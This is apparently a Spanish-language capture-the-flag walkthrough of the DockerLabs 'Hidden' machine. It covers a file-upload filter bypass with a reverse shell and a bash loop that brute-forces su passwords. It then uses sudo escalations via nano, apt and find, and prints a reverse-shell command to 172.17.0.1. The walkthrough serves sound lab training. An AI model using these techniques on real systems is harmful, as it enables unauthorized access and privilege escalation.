DockerLabs Hidden

DockerLabs Hidden

Esta es una máquina de DockerLabs de nivel medio

·

5 min read

Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.

Descargamos el archivo de la página dockerlabs.es/#

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos.

Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.

Realizamos un escaneo de la dirección IP y podemos observar que solo nos muestra un puerto.

Ingresamos la dirección IP en nuestro navegador y nos da error de conexión porque nos redirige a un dominio.

Luego de agregar el dominio en /etc/hosts podemos observar la página de café.

Realizando un escaneo de directorios observamos varios y el que más nos llama la atención es mail, pero no encontramos nada interesante.

Como tenemos el nombre de dominio realizaremos una búsqueda de subdominio. Usamos gobuster y podemos observar que identifico el dev.hidden.lab.

Con conocimiento del nombre de subdominio, lo que hacemos es agregarlo al archivo /etc/hosts, Si vamos a la página web podemos observar que es para subir archivos.

Subimos un archivo PHP y observamos que solo indica que no permiten .php

Si suponemos que solo son estos archivos probaremos con alguna variante.

El archivo que estamos empleando lo extrajimos de Pentestmonkey

Podemos observar que se subió de manera correcta.

No sabemos donde se subió, así que realizaremos una búsqueda de directorios y podemos observar que tenemos el directorio uploads.

Nos dirigimos al directorio y podemos observar que nuestro archivo se encuentra allí.

Antes de abrirlo iniciamos nuestro listener.

Hacemos clic en el archivo y podemos observar que ya se estableció conexión.

Tratamiento de la TTY

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos

script /dev/null -c bash

luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty

stty raw -echo; fg
                reset xterm

para obtener más características usamos

export TERM=xterm

para la variable de entorno

echo $SHELL

y para pasar a bash usamos

export SHELL=/bin/bash

para establecer el tamaño adecuado de la consola ingresamos

stty rows 59 cols 236

de esta manera ya nos podemos mover con más libertad en la consola.

Realizamos un sudo -l, pero no tenemos el password así también buscamos permisos SUID y capabilities, pero no tenemos uno que nos permita escalar privilegios.

Nos dirigimos a la carpeta home, pero no podemos acceder a ninguna carpeta ni encontramos algún archivo aquí.

Ya que no tenemos alguna manera de subir un archivo lo que haremos es emplear la página que usamos para subir una versión corta del rockyou.

Nos dirigimos a la carpeta donde se suben estos archivos podemos observar que ya lo tenemos.

Copiamos el diccionario en la carpeta tmp.

Ahora haremos el uso de un script que pruebe estos passwords con los usuarios que tenemos.

usuario="cafetero"
for password in $(cat rockyou-20.txt); do
    echo $password | su -c "exit" $usuario 2>/dev/null
    if [ $? -eq 0 ]; then
        echo "Encontrado: la contraseña de $usuario es $password"
        break
    fi
done

Creamos el archivo y le damos permisos de ejecución.

Probando con cada usuario podemos observar que el usuario del cual obtuvimos un password el siguiente.

cafetero:123132

Una vez encontrado el password, no logueamos y para tener una mejor shell volvemos a generarla.

script /dev/null -c bash

Revisamos la carpeta de usuario, pero no encontramos nada interesante y realizando un sudo -l observamos que podemos hacer uso de nano para elevar como john

Revisando en la página de GFTOBins observamos como realizar el salto de usuario.

Luego hacemos un ctrl + R y un ctrl + x para que nos salga la siguiente opción e ingresamos el comando reset; sh 1>&0 2>&0

Al realizar un whoami podemos ver que somos john.

Volvemos a generar una shell y ya tenemos una mejor consola.

script /dev/null -c bash

Realizamos un sudo -l y podemos observar que podemos elevar privilegios como bobby usando apt.

Revisando en la página de GFTOBins observamos como realizar el salto a bobby

sudo -u bobby /usr/bin/apt changelog apt

Cuando termine de cargar solo ingresamos el comando.

Luego de enviar el comando podemos observar que ya somos bobby.

Ahora establecemos una shell con nuestra máquina para evitar algún error.

bash -c 'bash -i >& /dev/tcp/172.17.0.1/1235 0>&1'

Ya que establecimos conexión volvemos a repetir los pasos del tratamiento de la TTY.

Una vez hecho ello realizamos un sudo -l y podemos observar que podemos elevar privilegios a root usando find.

Revisando en la página de GFTOBins observamos como realizar el salto a root

Ejecutamos el comando y podemos observar que elevamos privilegios como root. De esta manera culminando esta máquina.